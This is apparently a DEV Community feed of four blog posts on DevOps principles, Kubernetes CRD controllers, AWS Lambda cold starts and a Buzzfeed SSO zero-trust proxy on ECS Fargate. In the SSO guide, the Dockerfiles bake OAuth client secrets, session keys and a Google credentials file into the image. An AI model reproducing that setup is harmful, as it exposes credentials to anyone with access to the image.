DEV Community: Omer Hamerman

The DevOps Manifesto

Omer Hamerman — Mon, 20 Feb 2023 10:12:03 +0000

Knowing what you want, having a vision, or a guiding light if you will, isn't always enough. Matters can quickly get out of hand in a team, especially one that is growing exponentially and fast.

This is one of the reasons I decided to compile a list of "DevOps engineering principles". It was important for me to create a basic structure, something that could be shared, discussed, and reinforced periodically.

Most of it came from mentors I had or glorious failures I experienced over the years.
This is the idea:

Take a stand and make a decision
Every point can be discussed and debated
Upon discussion and agreements, we use it as our guiding light
Observe, assess, make adjustments, keep moving

Document everything

The number of "DevOps questions" asked daily by internal teams is too high. Whether it's newly hired engineers or instructions that have already been forgotten. By documenting things, you will be able to both link to the document and gradually engrain the habit of searching the docs before asking a question.

Our team tries to document everything it can:

Whenever we experience a production failure, or something goes wrong, such as a breaking change of an external library hitting us or introducing new limitations by a provider (cough DOCKER cough), we write it up as a post mortem. Anyone reading it can understand what went wrong, even if they were not involved, and maybe learn something. In order to prevent a recurrence, a post-mortem should conclude with action items.
There's nothing like a good ol' instruction page to explain something once and for all, whether it's logging into a Docker registry or running localstack to mimic a serverless environment.
Research - Being a DevOps team in a DevOps company involves a lot of research. It is easy to follow, understand, remind yourself and others of findings and lessons learned when it is documented, and equally important, it prevents rework and re-examination.
How-tos - Oftentimes, we find ourselves instructing something very 'simple', in or two sentences. Even then, a document can be very helpful in providing additional context. Having a "search-the-docs" culture and a habit of documenting everything has a compounding effect.

In particular, we use Notion for all things documentation. There's no way to say whether that's objectively "the finest". As readers and writers alike, we find it more inviting, easy to use and feature-rich.

Ask questions / always open a discussion

Experts working in their own bubbles and sharing information randomly miss the point. Creating a habit of discussing is beneficial to everyone; The one asking may learn something they did not know or consider, the responder shares their expertise, and passive readers gain enriched knowledge "for free".

A culture of "there are no stupid questions", is easy to decalre and hard to practice, but the benefits are incredible. I'd say the distance between something so un-measureable yet so valuable is amazing.

Principles:

Don't be afraid to ask questions
Don't be afraid to challenge anything
Are you bringing an innovative idea to the table? Come prepared to be challenged
Create a discussion everywhere - Slack groups (not private chats), notion comments, pull-request remarks. The discussion may be of interest to the team, but it's happening far from their eyes (e.g. a Github PR)? Invite others to read and participate by linking it in the team's channel

Think lean, speed and quality

The point here is not to do things quickly, but to create things that work quickly. Spend more time setting up processes, so that you can not only save time down the road, but also help others reap the rewards of your labor.

In the world of DevOps, this takes the form of

Lean applications - Cut out unnecessary layers of complexity / attack vectors / loading of literally everything in the way (downloading, pulling, installing, packing, etc.). E.g. pulling a 50Mb JavaScript library to create random numbers.
Lean packages - Zip packages uploaded to Lambda, for instance, can sometimes be compressed further, or unnecessarily packed with non-production content
Lean containers - Can be based on alpine or :slim tags. Can use fewer Docker layers, and utilize multi-step build containers to only carry essential production components
Lean CI - The list of examples is endless, but steps can use cache from other steps, use lighter images (see lean containers), or perhaps run in parallel to save time and speed up the production process. Consequently, other jobs and applications have more time to work, the build queue is shortened, and resources are used less. There is an exponential effect.
Utilizing cache - Whether it be between CI steps, Docker layers, query results stored in Redis, pre-built images and, of course, using a CDN.Cache is a driver of speed and efficiency, apply wherever possible
Before hacking your way through, do things in the native way. "Read the docs instead of writing another bash command" or "Search the knowledge base before spending a day creating your own environment" are two quotes we used recently. System features often include solutions for what most engineers need. There are too many reasons to list why "hacking as a standard" is counterproductive in large teams.

Think Security

Although this is a big one, here's a short list:

MFA - For everything. The effects of this security layer are mind-blowing yet it is surprisingly easy to implement
Secrets management - Too often overlooked when it shouldn't be. A dedicated manager should be responsible for managing secrets. Not in a Git repository, not as an encrypted text file, not on the CI server (although not as severe).
Run resources on private networks. In a DevOps team, this goes without saying. With developers literally testing the cloud (did I mention we're a DevOps company?) it's hard to educate, let alone enforce. However, all resources should run privately and be accessed through a zero-trust proxy.
Segregate environments - Good - separate VPCs, Better - unpeered networks, Best - separate accounts and use different access groups
Using WAF as an example: use whatever deployable tool you have in your toolkit to make attackers' lives difficult. Utilize zero-trust, limit network access, create complex password policies, and enforce multi-factor authentication. Maintain your devs' sanity while limiting attack vectors

Networking structure

HA - It is a principle in and of itself to ensure high availability. When designing an architecture, building production (and staging) environments, or running log aggregation systems, HA should be considered. You are guaranteed to spend time on a failure if you let something slip under the radar. The following is an example of a recent real issue - a self-managed ELK cluster hanging by a thread on an AWS spot instance serving the entire R&D department. Fortunately, we spotted the problem in time
Cost efficiency - Terminology first: cost-efficient does not mean cost-reduction. The concept of efficiency can be viewed in a variety of ways, such as utilizing VPC endpoints for private, quick, and cost-effective solutions, or using spot instances for non-critical operations. A container can also be used over a serverless function that lasts a long time, or the opposite when the job runs in a few milliseconds, and a container/instance isn't a good option

Everything as code

Infrastructure as code. There are no words to describe how important this is. Just do it, as the saying goes.
Meaningful commit messages - It is incredibly useful to have meaningful messages, for history searching, formatting, debugging, compiling change-logs, and so on.
Use a Git system whenever possible. Is it time to update a WordPress plugin? Is it time to upgrade the infrastructure? (It's all coded now, isn't it?). Changing the permissions of a group? Is a secret being updated? USE GIT. The number of cases I've solved by comparing multiple Git histories is beyond my ability to count. It's not for nothing that Git was once compared to a blockchain. The Git repository holds the entire (almost) history of the project, so use it wisely!

Backup everything!

It's kind of a "no-s**t-sherlock" thing, but still, it's amazing how often backups are not available when they're most needed. As such, I consider it relevant to list it as a "principle" even though it has been a common best practice since ancient times.

By automating backups, hours of work, pain, and sorrow can be saved. Most cloud platforms offer backups as part of their products, so you just need to turn them on. As an example, let's look at AWS:

RDS will enable backups and require a timeframe and a retention periods
S3 can have versioning turned on
EC2 (unless used as cluster nodes) can be snapshotted
EBS snapshots are just as straight forward It goes on and on with ECS task-definition versions, Lambda functions, DynamoDB tables, etc. All provide some form of data backup and restoration for point-in-time recovery. Don't call a task "backlog" or "tech debt", because by the time it's needed, the Jira ticket will no longer be efficient. In the army, there is a saying that states "these instructions were written in blood" (softening the analogy: systems experienced downtime). In other words, they are there to teach a lesson learned from others' unfortunate experiences, and they have a good basis for doing so.

Another AWS specific but has counterparts in other platforms: AWS Backup can help with the "heavy" lifting of most backup services.

One extremely important point to note here is that backups need to be regularly tested! It’s never enough to “know they’re there”. When the fit hits the shan 😉 they may actually not work, or just as bad - there’s no knowledge of how to apply them.

Build to last, self-heal, and think of future maintainers

For one minute, imagine you were fighting yet-another-fire caused by a hacky script, or a poor choice of technology, grunting quietly and cursing at an engineer leaving legacy code. Instead of becoming someone else's future headache, try being the source of quality and standards. My belief is that this has a compounding effect, where others learn from engineers and apply, and their names are kept in a positive light long after they are gone.
With that in mind, try being the source of quality and standards rather than a future headache. I honestly believe, this has a compounding effect, where others learn and apply, and engineers' names are kept in positive aspects long after they've left.

Change management and reviews for everything

Keep changes managed. Those of you who have read The Phonix Project will likely have an image of sticky notes on walls describing a practically-non-existent change management system. Things don't get missed when a change management process is in place, preferably with a chain of approval and quality review process. Even more importantly, the engineers evolve, and production tends not to burst into flames. There's nothing like review for sharing ideas, concepts, conventions and standards!
It can be applied to almost anything; from code to infrastructure to blog posts to landing pages.

Staging first

Despite staging (and other environments) being well-known for handling changes and testing them, they are too often ignored when it comes to operations-related systems. Exactly these types of systems should begin with a staging environment.
Yes, they are usually not customer-facing, but they serve all others and ensure that they are safe, healthy, and functional. CI servers, alert systems, and container orchestrators are all essentials for the production environment. Even if they're consumed as a service, in spite of the fact that they are all managed by a company you trust, they still suffer from many of the known pain points; versions can be upgraded, changes can break, retention can run out, and capacities can be reduced. "Staging First" is a concept that argues that everything should be staged in a separate environment before changes get to production. These should also be separated by accounts and user logins, for security, but also for human error and blast radius management.

Aftermath

This is by no means a comprehensive list. These are principles we developed as a team, agreed on, and adopted. You are invited to challenge them, add or suggest changes, and create a fruitful discussion around them. Let's face it, we're all here to learn, otherwise what's the point? ;)

Thank you for reading 🖤

Feel free to reach out with questions or comments.

10 Things I wish I’d known before building a Kubernetes CRD controller

Omer Hamerman — Mon, 29 Aug 2022 14:19:00 +0000

Give me six hours to chop down a tree and I will spend the first four sharpening the axe.

A. Lincoln

Well I didn't even know there was an axe... K8s resources, in that context, are one heck of a tree to chop. You better come ready to work. I hope that this information will find the axe for someone out there and smooth out the process.

Controllers? Operators? CRDs?

Let's bring some order to the chaos. K8s documents the notions of controllers and operators. The reader may be puzzled by the subtle differences between the two after reading them both.

An "Operator" is a pretty name coined by CoreOS back in 2016, to describe the concept of managing application infrastructure using controllers and custom resources.

K8s Custom Resource Definitions (CRDs) allow users to extend the system with the same tools used to create and manage Pods, ReplicaSets, StatefulSets, and ConfigMaps. This notion is discussed in the "kubebuilder" book - "Building a CronJob" tutorial.
The creation of a CronJob component using an existing Job resource is an incredible example of an operator or controller.
In a 2018 keynote in KubeCon, Maciej Szulik, the creator of CronJob actually claimed its not yet implemented with a full on controller features.

Described in the K8s docs, a "controller" is a component that utilizes a control loop to bring the "desired state" of the system to its actual state. An operator is, in that sense, a controller with a CRD, and a story.

Kubernetes is a Database

In a K8s podcast episode, Daniel Smith, Co-TL of SIG API, explains a powerful concept; "K8s is more like a database than an event-driven system". He explains that instead of having different components communicating with one another, K8s holds information like a database. This information is the state of the cluster. An update or creation of a resource will result in a new desired state. Through a control loop, the controller takes care of achieving the desired state as events of its kind are received. Through iterations of the control loop, the desired state is reconciled with the existing state.

"Reconciliation" is noted here as the coined term for achieving equilibrium. You'll find the Reconcile loop in most controllers as the heart of the logic, and where events start their way.

K8s is more like a database, then an event-driven system.

Start with Kubebuilder, read the book!

I wish someone had told me that. There are so many resources out there on how to build K8s operators and controllers, some like the Operator Framework automate things even further, helping the user construct operators based on native language, Helm, and others.

That said, Kubebuilder, does most of this work for you already, and IMHO, better. It comes with a (really incredible) piece of documentation: The Kubebuilder Book.

A must read, if you plan to build a K8s controller.

The book takes the reader from concept, through a real-life example and its step-by-step development process. It covers code generation, APIs, concepts of control loops and reconciliation, deployment and local development. Almost every piece of information needed for such a project.

The author has put a lot of care into writing the book and it's easy to read. The concepts explored in the text are interesting and come with code snippets to underscore the points.

CRDs don’t create metadata by default

Now that's a surprise, I had to double-check the data thoroughly to work out that metaData was never there. You can't find it anywhere on the root-level and it's seemed to be missing everywhere else.

My own case involves the creation of a statefulSet as part of my CRD, which I thought would be treated as a first-class citizen. On the contrary; nested meta objects will be ignored unless instructed specifically not to be. I don't have answers to "why" (even though treated as a bug), only the "how":

In its docs, the Code Gen CLI, sates the additional option to set crd:generateEmbeddedObjectMeta=true to allow nested meta objects. In the context of the makefile code generator, this would look something along the lines of:

.PHONY: manifests
manifests: controller-gen ## Generate WebhookConfiguration, ClusterRole and CustomResourceDefinition objects.
    $(CONTROLLER_GEN) rbac:roleName=manager-role \
                    crd:generateEmbeddedObjectMeta=true,maxDescLen=0 \
                    webhook paths="./..." \
                    output:crd:artifacts:config=config/crd/bases

You may also note the maxDescLen=0; During the development process (and afterwards), the amount of sheer text generated to every piece of the resource documentation is unbearable. Just try to kubectl describe your resource to find your terminal slowly losing its history. This doesn't have to be "0", but can help bring the lines of text to a manageable situation.

Interacting with CRDs outside the controller’s context is not straight forward

CRDs are great. You can create any kind (pun not intended) of object in K8s and manage it using a controller.

What about trying to interact with it outside of the controller's context? You may be tempted to ask "why would anyone do that". The way I see it:

Customers may want to interact with this production service using their own controller or informer.
Depending on the system built, other pieces of software may need access to the object produced. Exactly this was the usecase I had to deal with - a Daemonset pod that updated data on new types of CRDs based on node-centered events.

It is relatively straight-forward to access all native resources with client-go:

clientSet, _ := kubernetes.NewForConfig(config)
pods := clientSet.CoreV1().Pods("")

Custom resources, however, not only require you to obtain the relevant types for the object, once you do so, there is no client exported or generated for you. Additionally, once you finally reach the client you were looking for, you discover a full-on raw HTTP API with unstructured JSON requests and responses. Working this way isn't fun (or safe).

Discovery number one: "The dynamic client"

The dynamic client for K8s is described well in this blog post. The TL;DR is that it allows direct access to any kind of object within the cluster, whether structured or not. Here is one of the main components of the dynamic client that deals with unstructured objects:

unstructured.Unstructured: This is a special type that encapsulates an arbitrary JSON while also complying with standard Kubernetes interfaces like runtime.Object

The Kubernetes dynamic client

Provided a schema.GroupVersionResource (GVR), the dynamic client will fetch the CRD object and return it as an unstructured data object:

ctx := context.Background()
gvr := schema.GroupVersionResource{
  Group: "group.example.com",
  Version: "v1alpha1",
  Resource: "myresource",
}
returnedObj, err := c.Resource(gvr).
                    Namespace("default").
                    Get(ctx, "myresource-sample", metav1.GetOptions{})
if err != nil {
  return
}

It's all fine and dandy, but what do you actually do with raw data if you need to do more than just parse it? According to the post mentioned above, you can modify nested data fields using functions like unstructured.NestedInt64, parsing and changing raw data in-place and returning it back to the cluster.

It felt like there was more to it:

Discovery number two: "The DefaultUnstructuredConverter"

The runtime library exposes a converter function with a FromUnstructured method for unmarshaling data into the known CRD type. This creates typed, mutable, and accessible information from the unstructured data:

var myResource MyResourceType
err = runtime.
      DefaultUnstructuredConverter.
      FromUnstructured(returnedObj.UnstructuredContent(), &myResource)
if err != nil {
  return err
}

From fetching the object to parsing and manipulating it away from the context of the controller, that's a complete interaction with a CRD.

Since my use-case involves customers, I wanted to provide them the option to interact with the generated objects, so I exposed it through my own client using a few simple methods that handled CRUD logic:

func Get(c dynamic.Interface, nsn types.NamespacedName) (MyResource, error)
func List(c dynamic.Interface, nsn types.NamespacedName) (MyResource, error)
func Update(c dynamic.Interface, mr MyResource) (error)
func Delete(c dynamic.Interface, mr MyResource) (error)

Use Finalizers to terminate external resources

Finalizers are logic processes that are required before a K8s resource is deleted. The book says so, but it's easy to skip. Perhaps you noticed a deletionTimestamp added to the metadata of an object when you tried to delete it. This is a finalizer that prevents garbage collection of the resource. For example, in AWS EBS, the internal logic backs the EBS controller attempts to delete the physical volumes before removing a PVC (removing the finalizer field in order to do so).
As soon as a finalizer is removed, the object is automatically collected by the GC and removed from the cluster. With this method, you, the user, do not have to deal with waste and cluster leftovers.

Set Owner Reference on tracked objects

There is another very important concept, yet easy-to-skip section in the Kubebuilder "implementing a controller":
The K8s garbage collector knows to remove these objects when the parent object is deleted, just as the CronJob creates Jobs. If your CRD generates other resources in the cluster, like a Pod, or Deployment, then you must set an owner reference.

When constructing the object, make sure to include:

# r being the reconciler receiver
if err := ctrl.SetControllerReference(parentObj, childObj, r.Scheme); err != nil {
  return nil, err
}

Get your groups and crd name right

Changing them is quite the challenge, to say the least.
Think about the group and resource names when you are creating the controller, CRD, API, etc. There are several reasons why these are important:

Imports are made throughout the project. Imports must be a. unambiguous, b. straightforward, and c. named meaningfully
They will be used in different places, such as yaml files holding the objects' API Versions and Kinds. As well as in other areas such as the discussed GVR or GVK (GroupVersionKind) objects. If there is a meaningful group name other than "crd" or "apps", use it. If not, keep in mind that it must make sense in the context of <group-name>.company.com as part of the apiVersion field.
Changing them is a pain in the bum, especially with custom resource objects. Besides being part of every generated function or kubebuilder generator markers, it is probably mentioned hundreds of times throughout the code. Refactoring isn't necessary, but not doing so will reduce the project's readability. Simply put: Do not change the name of the CRD, unless you must. You've been warned 😉

That's all there is to it. Please let me know if you have any other dos and don'ts to add or remove. In any case, that's all the things I wish I knew instead of spending hours figuring them out for myself.

Thanks for reading!

Introduction to AWS Lambda and Serverless

Omer Hamerman — Mon, 13 Jun 2022 11:22:20 +0000

“Serverless computing is a cloud computing execution model in which the cloud provider allocates machine resources on demand, taking care of the servers on behalf of their customers.”

https://en.wikipedia.org/wiki/Serverless_computing

A recent uninformed discussion on Linkedin about container orchestration (wrongfully) compared to serverless, sparked a few thoughts in my mind:

How well do I understand what a serverless function is?
What does this mean for developers in my team that run code exclusively on AWS Lambda?
Does knowing the environment make any difference?

It is my intention in this post to answer these questions, given that (3) is obvious to me; I have to understand the environment in order to make informed decisions. In addition, I assume that in regards to question (2), if I didn't have the time to dig deeper, many of my colleagues didn't either, so this may be my way of sharing what I've learned with them.

The benefits and drawbacks of Serverless functions

Pros:

Speed of development - using frameworks like serverless.com (deserves its own blog post), development speed is increased exponentially. All resources are easily deployed, connected to the network, protected by permissions and security groups, as well as a lot of other features. It can relieve DevOps / production engineers of the burden of managing moving parts, and allow developers to operate independently on their own terms, eliminating bottlenecks. Obviously, this isn't magic, and "Managed correctly" is key here, templates and boilerplates, coupled with least privilege access will go a long way towards ensuring speed is not sacrificed for security or control.
Scale - as Lambda is a service that runs packaged code, it can (theoretically) scale infinitely, only limited by AWS’s own limitations, which are considered close to infinite in most use-cases. It scales quickly and automatically. Even though it may come at a price, both in terms of service and cold starts, if the volume is monitored, it can be planned accordingly to maximize speed and efficiency (see "Handling cold starts" above).
Security - The Lambda function, as noted, runs a number of seconds on its own infrastructure before going to "sleep". In that sense, it is more secure because it can only be accessed through AWS's API, and cannot be accessed in any other way. On the other hand, containers are usually accessed through an attached shell. When a malicious actor has access to an internal system, it becomes a possible attack vector. In this sense, Lambda functions are inaccessible, even when attached to a VPC. In addition, there isn't an underlying infrastructure like K8s or ECS nodes to run, so one fewer layer needs to be protected.
Efficiency - Lambda functions run for the required amount of time and then hibernate (or completely shut down the environment) until the next run. This provides maximum efficiency. Infrastructure is only paid for by the number of seconds it takes to process data, nothing more, nothing less. There is no billing for "dead" time. This drives constant improvements to reduce runtime. It can be achieved by using message queues, caching layers, or simply by improving the application's performance. It is a pleasant side-effect with a positive impact.

Cons:

Price - Lambda functions are not cheap. AWS offers a generous free tier, but lambdas can grow to be a major part of an AWS cloud bill after a certain point. There are many solutions to this problem, such as offloading certain components to containers or instances, and improving performance. However, this is one of the most important factors to consider when making the decision.
Speed - also listed as a pro, speed the speed at which developers can deploy new infrastructure can get out of hand. It is something to consider when allowing the whole engineering team to use their networking and security components for production functions.
Distribution can be an obstacle - Lambdas are best when they are distributed; when the code is divided into small parts, each with one logical purpose, rather than a few. This allows them to respond, scale and operate as fast as possible. At the same time, it can be difficult to keep everything under control. Monitoring, CI pipelines, and infrastructure become increasingly challenging to track, monitor and manage as the number of them grows.

What is it

Serverless functions are a way to run code in a distributed, scalable and efficient manner in a cloud environment.

A key feature is the ability to write code and "throw" it to the cloud, where some "magical" system runs it, preparing an environment and billing the user for the runtime seconds and resources used.

Under the hood

AWS Lambda runs code in a "runtime environment", which is a containerized environment that holds everything the application needs. Dependencies, layers, and files are all prepared and loaded onto an AWS-shared infrastructure. This is done in an isolated, secured way so that neighboring functions are not exposed in any way to the other "environments".

"Cold start" is the process of setting up a container and preparing it for a Lambda function, then running it for the first time. Imagine calling a function in a simple application you wrote, but each time it’s called, the application starts and then stops. The process is of course inefficient in the sense that it runs longer, but it is extremely more efficient considering the time a certain piece of code is not called, and therefore, is not billed.

This is not a straight forward process at all; certain questions must be asked:

How often is this piece of code called on a minute, hour, or daily basis?
How long does it take for the function to complete its run?
Could the function end faster? (hint: yes, it sure can!)
How crucial is responsiveness?
Is latency something we’d like to pay extra for, or keep as low as possible?
Assuming serverless is the way to go for our engineering team, but mainly in terms of speed, is the cloud the most suitable option for us?

Let’s try to answer a few of these questions to make architectural decisions:

What is the frequency of calling the function?

If the answer is thousands of times a minute, perhaps a provisioned concurrency
is worth considering. If the function is not being called all that often, perhaps it’s wise to use a lambda warmer to keep it warm - see dealing with cold starts below.

How long does it take for the function to run?

The best practice is to have functions operate on a single logical unit, having the smallest possible task to take care of. This will result in a short running time and a more distributed system that can scale and start up quickly. An option to consider is wrapping a "long running" function with supporting services to speed up its execution. A "long" run time can range from seconds to minutes. Examples for solutions are - utilizing queues and additional functions instead of sending a request and waiting for a response. Another option is the use of a cache mechanism to provide faster responses from data services. In the end, if a function still takes minutes to run, even with all the support and efficiency improvements, it may be a candidate for a live service. Maybe a job that runs in a container and terminates, or a full-fledged service running on K8s, or ECS. In either case, serverless is not a one-size-fits-all solution.

Is the cloud really the best choice?

When the goal of serverless is purely functional, i.e. making it easier for developers to work productively and deploy infrastructure quickly, a PaaS might not be the best option. Not because of features, but because of price, and in some cases, high latency when working against internal tools like databases and secret managers. Knative and Fission are two alternatives. As I don't have real experience with these, I cannot comment on their capabilities. However, I can say they might hold some of our production serverless deployments in the future.

Key takeaway: "Serverless is not a one-size-fits-all solution"

A deeper look into networking

The functions run on an "AWS shared infrastructure", as mentioned earlier. The shared environment here is an AWS VPC dedicated to Lambda. Functions are invoked through the Lambda API (and only through it) in the VPC, where they can access the public internet, but cannot access neighboring functions or the owners' private network (that's you).

A function must be connected to the internal VPC in order to gain access to private subnet resources, such as databases, internal API services, and other supporting components. This does not mean the function runs inside the VPC, rather it has access to it via:

Creating a cross-account attached interface
Attaching and using the network interface from the user’s VPC to access resources

A recent improvement to this network scheme

Lambda functions in a VPC used to be somewhat problematic, in that a user had to consider:

Creating and attaching the network interface requires a longer cold start
Keeping an eye on rate limits pertaining to the number of network interfaces in a user's VPC
Limits on the number of available IP addresses for attached interfaces should also be considered

The above has been dramatically improved in 2019, when AWS announced an improved networking for Lambdas. Since then (and gradually in additional regions), Lambda functions started reusing a “Hyperplane ENI”, essentially allowing network interface reuse.

Because the network interfaces are shared across execution environments, typically only a handful of network interfaces are required per function. Every unique security group:subnet combination across functions in your account requires a distinct network interface. If a combination is shared across multiple functions in your account, we reuse the same network interface across functions.

- AWS “Improved VPC networking for AWS Lambdas” announcement, 2019

Here’s a diagram from AWS, explaining the change visually, this is the “old” networking scheme for VPC-attached functions:

Vs the new networking model, where a shared ENI is used:

Dealing with cold starts

While you do not pay for the time it takes to start a container, it adds to the overall latency of the end user's experience. This may be of little importance in some use cases, yet critical in others.

There are several ways to combat cold starts:

Warm up your lambdas with a lambda warmer. A warmer is essentially an external component that sends a ping to the function to initiate it and waits for a response. The key here is its repetitiveness and mimicking of customer-like behavior. It is recommended to do the following:
1. Wait at least five minutes each time.
2. Trigger the function directly to keep the same environment warm rather than trigger another one, which is typically the case when the trigger is coming through an API gateway
3. Wait for a response, preferably one that’s prepared in the function specifically for warmers
4. Send a test payload
5. Further read this great post
Use provisioned concurrency - a way to pre-configure the number of desired environments that are kept warm for the customer. Despite being on the more expensive side, this solution "magically" solves the problem of cold starts to some extent. However, cold starts also occur when:
1. Updated version is introduced (code and configuration are the same for Lambda)
2. All provisioned concurrency is used and another incoming request is waiting
3. The platform automatically re-balances availability zones deployments
Make sure functions attached to a VPC and using the same subnet share a security group. In this way, no latency is introduced when creating and attaching network interfaces, since they can use an existing ENI:

Hyperplane ENIs are tied to a security group:subnet combination in your account. Functions in the same account that share the same security group:subnet pairing use the same network interfaces. This way, a single application with multiple functions but the same network and security configuration can benefit from the existing interface configuration.

- AWS “Improved VPC networking for AWS Lambdas” announcement, 2019

Serverless isn't always the best solution

The "cons" list above shows that running cloud functions can be challenging in some cases, and they may not always be the best solution. Aside from its usually high price, its features are good for some use cases and terrible for others. Combining functions with orchestrating containers seems to work well in my experience.

In addition to long-running services, containers can be used as standalone task containers (e.g. K8s cronjobs), triggered by functions, and used when the processing time exceeds a reasonable function run-time.

Serverless does not make "DevOps redundant"

It would be great if it did, but for the most part, it does the opposite. The serverless architecture leads to functions' code being distributed across many repositories. The tracking, monitoring, maintaining, and other operational aspects become tedious and much more complex. This requires creative solutions, or more time-consuming manual labor. Both result in greater engineering effort. In that regard, serverless usually isn't as promising as it sounds. Quite the contrary, in fact. In the future, a new tool or project may solve this complexity and provide a cross-functional solution. Serverless.com may carry this torch. We're pretty much where we started in terms of hidden operations, and there's still a long way to go until we can "abandon" Ops.

Thank you for reading

Serverless functions are an excellent platform if you take the considerations listed above into account. I hope this helps someone out there, and invite you to correct me if you find any inaccuracies.

Introduction to Zero Trust on AWS ECS Fargate

Omer Hamerman — Mon, 30 Aug 2021 14:16:12 +0000

After a long while of researching for information on a solution I knew I wanted, it was quite hard to figure out what to choose, and how to use it. And so, this is basically the guide I wish I had: what I wanted and why, the solution itself, and just as important - how to implement a solution that's well designed, but poorly documented...

What

With the rise of Google's beyond-corp approach, the concept of "Zero Trust" brought the Identity Aware Proxy to the world. In a nutshell, internal resources or tools sit in private inaccessible areas of the cloud, while a reverse proxy on top of them, offers access to permitted users only. The authentication often relies on an OAuth2 provider, but any kind of user directory does the trick.

Why

Rarely do you enjoy a combination of more than two of these:

Security
Quality user experience
Ease of management / maintenance The magic lies with benefiting from all of the bove with the same solution.

Security

The key feature in an identity-aware proxy is the redundancy of VPN servers. VPN by its nature offers a single point of access to the internal network. Once authenticated, the user has the keys to the kingdom; all internal systems are reachable. In some cases, when RBAC is correctly implemented, authentication is still in the way and protects user access. However, the system is still accessible network-wise, making it susceptible to scans and attacks that might bypass the standard access point.

With a reverse proxy, before the request is being authorized, all access is blocked as the routing didn't take place. The request was blocked before being rerouted forward.

Another aspect of security comes from the fact that the user has one identity source to manage. If MFA / 2FA has been enabled (and it should!!!), it stands for all future user authentication methods. More on that on the ease of access, and, ease of management.

One clarification before moving on though; this is not to say that VPNs are the past, or that's something is broken with the concept of having one. Deployed correctly, VPN servers are incredible at what they do. They're ubiquitous for a reason. That said, most implementations lack basic access control, and those that do, more often than not, do not monitor internal queries once a user has been authenticated. In some cases, there are usually not too many alternatives. But for others - e.g. back-office web services, we can do better.

Ease of access

This is the more straightforward aspect of things; a user with the organization directory only has to manage one identity. Assuming the user is keeping their passwords safe with something like 1Password, and a mandatory 2 step verification, it makes everyone's life easier. The cookie generated from one successful authentication can be used to access all other systems under the proxy (given the user is permitted to do so).

Ease of management

One of the key pain points engineering / IT / Ops teams struggle with is user management when multiple systems and tools are involved in the development. Instead of managing a growing number of directories and user sets, SSO offers a single point of authentication, allowing the management of only one directory. All that's left is to integrate SSO with the identity-aware-proxy to leverage both a single access point and the reuse of a cookie.

SSO to the rescue!

While Buzzfeed's SSO is simply wonderful in terms of concept and implementation, its docs are somewhat incomprehensive for the lack of a better word. The issue amplifies when trying to deploy on ECS Fargate. (Somewhat surprising given the nature of Buzzfeed's workload on ECS but 🤷).

The How

With that in mind, here's a guide / better-docs for implementing a "Zero-trust proxy with SSO and cookie reuse on ECS Fargate"

Probably the world record for the single line title with most buzzwords ever...

Buzzfeed's SSO is an implementation of two proxy entities, one service as a proxy to underlying systems and the other as an auth provider. The reason for the local auth provider is being able to serve one login for all systems, instead of having to re-authenticate with every different upstream. This is a cookie-reuse for the same purpose, which is a super elegant solution on behalf of Buzzfeed. Here's a complex, yet comprehensive visual diagram of the system
As said, the system comprises of a proxy and an auth provider, namely sso-proxy and sso-authenticator (or sso-auth in short). Both systems are configured by a set of environment variables, where the backend routing is described in an upstream Yaml config file. With growing usage, additional features, switches, parameters, and updates the project kind of grew out of basic understandable configuration docs. This is why we're here today.

The Proxy

This is the entity that serves as the front gate for incoming requests. If the incoming request is identified as valid, the request goes through and is routed based on upstream_configs.yml. Otherwise, requests are redirected to the authenticator.

I've chosen to build the container image with the environment wrapping Buzzfeed's image. This is for convenience only and can be shifted to any other method. Building the image with docker build --build-arg client_id=xxx client_secret=xxx ...

FROM buzzfeed/sso

ARG client_id \
    client_secret \
    session_cookie_secret

ENV UPSTREAM_CONFIGFILE="/sso/upstream_configs.yml" \
    UPSTREAM_CLUSTER="" \
    PROVIDER_URL_EXTERNAL="https://sso-auth.domain.co" \
    CLIENT_ID=$client_id \
    CLIENT_SECRET=$client_secret \
    SESSION_COOKIE_SECRET=$session_cookie_secret \
    SESSION_TTL_LIFETIME="1h" \
    UPSTREAM_SCHEME=http

COPY ./upstream_config.yml /sso/upstream_configs.yml

ENTRYPOINT ["/bin/sso-proxy"]

The Authenticator

Receiving unauthenticated requests from the proxy, the authenticator is in charge of contacting the OAuth2 provider for authorization. According to configuration, if the requesting user has the relevant permissions i.e. authorized domain, correct sub-group, and so on, a cookie is set and redirected to the proxy, which in turn lets it through.

Built-in the same manner as its twin, the authenticator is based on the same image, only uses a different ENTRYPOINT and a different set of configuration variables:

FROM buzzfeed/sso

ARG client_id \
    client_secret \
    session_cookie_secret \
    session_key

ENV AUTHORIZE_EMAIL_DOMAINS=domain.co \
    AUTHORIZE_PROXY_DOMAINS=domain.co \
    SERVER_HOST=sso-auth.domain.co \
    CLIENT_PROXY_ID=$client_id \
    CLIENT_PROXY_SECRET=$client_secret \
    SESSION_COOKIE_SECURE=true \
    SESSION_COOKIE_SECRET=$session_cookie_secret \
    SESSION_COOKIE_EXPIRE=1h \
    SESSION_KEY=$session_key \
    PROVIDER_X_CLIENT_ID=$client_id \
    PROVIDER_X_CLIENT_SECRET=$client_secret \
    PROVIDER_X_TYPE=google \
    PROVIDER_X_SLUG=google \
    PROVIDER_X_GOOGLE_IMPERSONATE=admin@domain.co \
    PROVIDER_X_GOOGLE_CREDENTIALS=/sso/credentials.json \
    PROVIDER_X_GROUPCACHE_INTERVAL_REFRESH=1m \
    PROVIDER_X_GROUPCACHE_INTERVAL_PROVIDER=1m \
    LOGGING_LEVEL=debug

COPY ./credentials.json /sso/credentials.json

EXPOSE 4180

ENTRYPOINT ["/bin/sso-auth"]

OAuth2 Provider of choice - Google

Not much to elaborate on Google. It's workspace directory offers a wide range of user management feature and is considered a standard choice. Specifically Buzzfeed's SSO offers either Google or Okta as providers. If these are not the way your organization is managing user this post might be irrelevant for the most part. You can however, make use of the underlying system - OAuth2-proxy, which will provide a similar experience, except the solution of a single locally managed authentication mechanism. Instead of having two components, the proxy is one system that operates against the backend provider.

Instructions (although far from perfect) can be found here.
Important notes:

Please do go through all steps, even if some seem unnecessary; like not following step three and forward if group segregation is not a requirement. Do go all the way through it, and make sure you get the .json file at the end.
Read carefully, make sure admin SDK is enabled as shown
Make sure that from Google's worskspace security side, the API controls
Make sure the PROVIDER_X_GOOGLE_IMPERSONATE=admin@domain.co is set with an admin user

Upstreams

Upstreams are a configuration file where proxy routes are set. They take a public request form the web, and, if authenticated is routed to an internal (or not) service given some conditions are met.

The configuration below describes two services and their internal routes:

- service: vault
  default:
    from: vault.sso.domain.co
    to: vault.local:8200
    options:
      allowed_groups:
        - production@domain.co
- service: snappass
  default:
    from: secrets.sso.domain.co
    to: secrets.local:5000
